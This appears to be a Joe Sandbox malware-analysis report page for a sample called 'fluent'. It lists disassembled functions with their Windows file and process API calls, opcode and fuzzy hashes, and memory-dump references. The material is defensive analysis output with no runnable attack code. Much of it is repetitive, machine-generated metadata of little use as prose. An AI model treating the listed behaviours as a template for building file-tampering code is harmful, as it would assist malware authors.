Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 15e34b7b50d6e80199ad8e110f238579247affa6a56b56fba10be592528bab4d
Instruction ID: bd963fad3611e68a3d37559f6f6c8db6864af89aff69fb625c750b818099df8f
Opcode Fuzzy Hash: 15e34b7b50d6e80199ad8e110f238579247affa6a56b56fba10be592528bab4d
Instruction Fuzzy Hash: E5414DB0905B80DED764DF7A8885AE6FBE6BF19300F50492EE5FE87282C7316654CB14

Function 04F266E6 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

RtlExitUserProcess.NTDLL(?,77E8F3B0,000000FF), ref: 04F266F3

Memory Dump Source

Source File: 00000000.00000002.1697190348.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f20000_fluent.jbxd

Similarity

API ID: ExitProcessUser
String ID:
API String ID: 3902816426-0
Opcode ID: 99c2a96ad9c7305d798a0ac7c1c0a8ec360ab31bfb431e028fc9f92bf290289a
Instruction ID: 593646ac28abb7c98e06ca26a80b6245e71aff29887739358f113eabdf437f8f
Opcode Fuzzy Hash: 99c2a96ad9c7305d798a0ac7c1c0a8ec360ab31bfb431e028fc9f92bf290289a
Instruction Fuzzy Hash: AB31E9B6D1060CEFDB11DF95C944BDEBBB8FB14336F21461AE421A6190D7785A058F60

Function 006FB093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006FB098

Part of subcall function 006E13DC: __EH_prolog.LIBCMT ref: 006E13E1

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8570d0751711041a73926904ae171e52ba7c109bef2e91043efb2e352f8719ed
Instruction ID: b7f7edb9338f7cf3159004479fe772729c1453d1284311185de67c67e4cbfee0
Opcode Fuzzy Hash: 8570d0751711041a73926904ae171e52ba7c109bef2e91043efb2e352f8719ed
Instruction Fuzzy Hash: 4D317E75C01249DACF15DF69C9519FEBBB5AF05304F10449EE409B7282D735AE04CB65

Function 006E9DA2 Relevance: 1.6, APIs: 1, Instructions: 83timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?), ref: 006E9E70

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: e88bfca69cd4549d9740305fb733d85b2051bd90d3235b94c651479698ac6ab8
Instruction ID: 55a06f938357644a98765abbfae6583b826b5fddde0baf1d79c6a5b319efa400
Opcode Fuzzy Hash: e88bfca69cd4549d9740305fb733d85b2051bd90d3235b94c651479698ac6ab8
Instruction Fuzzy Hash: 7D21D23224A795DBC714DF36C891AEBBBE5AF95304F08491CF4C5C7241D329D90D9B61

Function 006E966E Relevance: 1.6, APIs: 1, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,006E9F27,?,?,006E771A), ref: 006E96E6

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4b0c544d2c5caa5e2590f79a72e2c9428fa50f2fb3c806d7f7efb3a71307eb22
Instruction ID: 95df0aa0c64036bbeb4d35b44e5e6af62bb340a87cfe4a9d5ed597d463b71a00
Opcode Fuzzy Hash: 4b0c544d2c5caa5e2590f79a72e2c9428fa50f2fb3c806d7f7efb3a71307eb22
Instruction Fuzzy Hash: 5021B0711053846EF3709A66CC89FF777DDEF49324F104A19FA95C62D1C778A8848A31

Function 006E9785 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00000000,?,00000000,-00000858,?,-00000858,00000000,006E9C22,?,?,00000000,00000800,?), ref: 006E97AD

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 3ccde06b353252c1317fffe760ebd63fb452e51d2abbbf578a40453a6084584c
Instruction ID: 82f6529aaa212c69206ea53aa3c3b3c45cca58bf571ce4ca12ff89df35265b6c
Opcode Fuzzy Hash: 3ccde06b353252c1317fffe760ebd63fb452e51d2abbbf578a40453a6084584c
Instruction Fuzzy Hash: 10117030912344EBDF209F67C8046EA37ABBF46360F10C929E426853A0D7749E48DB75

Function 006E9E80 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 006E9EC7

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ecf4f638781b37a67fbc2b934bc4feb4b6b419b7fdf26da888d2aa30a7499706
Instruction ID: 788339657b789c4b7bfea6819877b1b71ac502aac11ea2e68959d130162b1f67
Opcode Fuzzy Hash: ecf4f638781b37a67fbc2b934bc4feb4b6b419b7fdf26da888d2aa30a7499706
Instruction Fuzzy Hash: B611E530601740ABD734C62ACC40BE6B7EAAF44360F604A29E252D26D0E7B4ED45C770

Function 006EA2B2 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 006EC27E: _wcslen.LIBCMT ref: 006EC284

CreateDirectoryW.KERNELBASE(00000001,00000000,00000001,?,?,006EA175,?,00000001,00000000,?,?), ref: 006EA2D9

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: CreateDirectory_wcslen
String ID:
API String ID: 2011010700-0
Opcode ID: 24a35455ecfd0e839b477700b0a51c0d0aaed945333ec0fc32b2b71cdac2c176
Instruction ID: 07c93e09105b1b2de480e5c9e68c421258b021e07560125df96236faa66f5ca3
Opcode Fuzzy Hash: 24a35455ecfd0e839b477700b0a51c0d0aaed945333ec0fc32b2b71cdac2c176
Instruction Fuzzy Hash: BA01DD3110239499DF21AFF74C09BFD378B9F09780F048418F901E61D1D754EA81C6BA

Function 006E9215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E921A

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e7df667725a8a677f09ab69e7f7bee491f9e1d062b22e6267136f663a19c8ef7
Instruction ID: 228168cc999443ec90447ce83dd16683cde01aeaed9403510b472fa55dc0b797
Opcode Fuzzy Hash: e7df667725a8a677f09ab69e7f7bee491f9e1d062b22e6267136f663a19c8ef7
Instruction Fuzzy Hash: 2801A9339116A8AFCF11ABA9CC419DEB737BF88740F014119E911B7252DA348E05C6B4

Function 006E5ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E5AC2

Part of subcall function 006EB505: __EH_prolog.LIBCMT ref: 006EB50A

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 613543a8d61fee3f69ccb35dd80e9e246391539315cd22d77097e78525ee79ff
Instruction ID: c6b4307144a7b72459a9d72dae11d5215d4f0c74336b887c2ad9507ee5c024f4
Opcode Fuzzy Hash: 613543a8d61fee3f69ccb35dd80e9e246391539315cd22d77097e78525ee79ff
Instruction Fuzzy Hash: 40018C308117D8DAE725EBB8C0527EDFBA59F68304F50848DA55693383CBB41B08D7A6

Function 006E9620 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,006E95D6,00000000,00712641,000000FF), ref: 006E963B

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 207b70d11e2e9ae08455ec2f8f9d9b25e7f8621e350d605d2cad6a5161d87847
Instruction ID: f9c7c2a6ffc264800da139c47b1cc118f95fe6215acde486f242b21f67bae9ad
Opcode Fuzzy Hash: 207b70d11e2e9ae08455ec2f8f9d9b25e7f8621e350d605d2cad6a5161d87847
Instruction Fuzzy Hash: 9EF08970493B959FEB308B25C4587D277EA7F12321F045B1FD0E642AE0D765668ECE50

Function 006EA4ED Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000001,00000000,00000001,?,006EA325,00000001,006E70E6,?,006EA175,?,00000001,00000000,?,?), ref: 006EA501

Part of subcall function 006EBB03: _wcslen.LIBCMT ref: 006EBB27

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: AttributesFile_wcslen
String ID:
API String ID: 2048169685-0
Opcode ID: 06f23f5c1d1b5234482a9a27d8b1c85fa150c0528aa2953572337801df264e17
Instruction ID: 6490c2f78a6e72baa75b7fc33495f867be308b38a697b840f8fe159454f28523
Opcode Fuzzy Hash: 06f23f5c1d1b5234482a9a27d8b1c85fa150c0528aa2953572337801df264e17
Instruction Fuzzy Hash: A4F0A031200249BBDF015F65DC05FDA3BAEAF08385F448051B944D5160DB31DA98DA14

Function 006EA1E0 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,006E977F,?,?,006E95CF,00000000,00712641,000000FF), ref: 006EA1F1

Part of subcall function 006EBB03: _wcslen.LIBCMT ref: 006EBB27

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: DeleteFile_wcslen
String ID:
API String ID: 3339486230-0
Opcode ID: b4b14630deb3c0988bd19ebf91b4ffbb372b6b20d392d154d50a1ea26878941b
Instruction ID: 1334fc74ee4e04ef89d64af0ff18c0c7558e8f55e5b1d295b49da56a93377f10
Opcode Fuzzy Hash: b4b14630deb3c0988bd19ebf91b4ffbb372b6b20d392d154d50a1ea26878941b
Instruction Fuzzy Hash: 71E0D8311513496BDB015F65DC45FEA3B9EAF0C3C1F488025BA44E21A0EB71DFC4DA64

Function 006EA56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 006EA69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000000,?,006EA592,000000FF,?,?), ref: 006EA6C4
Part of subcall function 006EA69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,006EA592,000000FF,?,?), ref: 006EA6F2

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 006EA598

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Find$FileFirst$Close
String ID:
API String ID: 2810966245-0
Opcode ID: f1bb948ec1c780b33742a38540e3da637e2be4fa1058377446d6a47f7f0dd29a
Instruction ID: 07b39cc96372fef9069fb292abeb1bce1bfa75d72a9100d70d8608a575dcdc86
Opcode Fuzzy Hash: f1bb948ec1c780b33742a38540e3da637e2be4fa1058377446d6a47f7f0dd29a
Instruction Fuzzy Hash: B5F0823100A7D0AACB6257F58904BCB7BD26F1A331F14CA4DF1FD62196C27560959B27

Function 006FAC7C Relevance: 1.5, APIs: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

OleUninitialize.OLE32(?,?,?,?,00712641,000000FF), ref: 006FACB5

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: 7dc125b56ea57631490879045fe29cfec62827d50968a09e8a7c5d04552cf4f7
Instruction ID: 92eec5533253608ca90a5495510f56de37e63e3c1848a47b7561f77e1ae0ac9f
Opcode Fuzzy Hash: 7dc125b56ea57631490879045fe29cfec62827d50968a09e8a7c5d04552cf4f7
Instruction Fuzzy Hash: 55E06572604654EFC710AF5CDC06B45FBA9FB88B20F10826AF416D37A0CB786841CA94

Function 006FA626 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

73526BB0.GDIPLUS(00000010), ref: 006FA62C

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: 73526
String ID:
API String ID: 936845911-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: c66dc3eda0b40aa49fc460cdbaf6cf2712ff0e76b136b6ad1f87d099c88dfbd8
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: 63D0C7B521020DB6DF416BA18D1297E7997FB40340F048125BE45D5151EAB1D9109556

Function 006FDD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 006FDD92

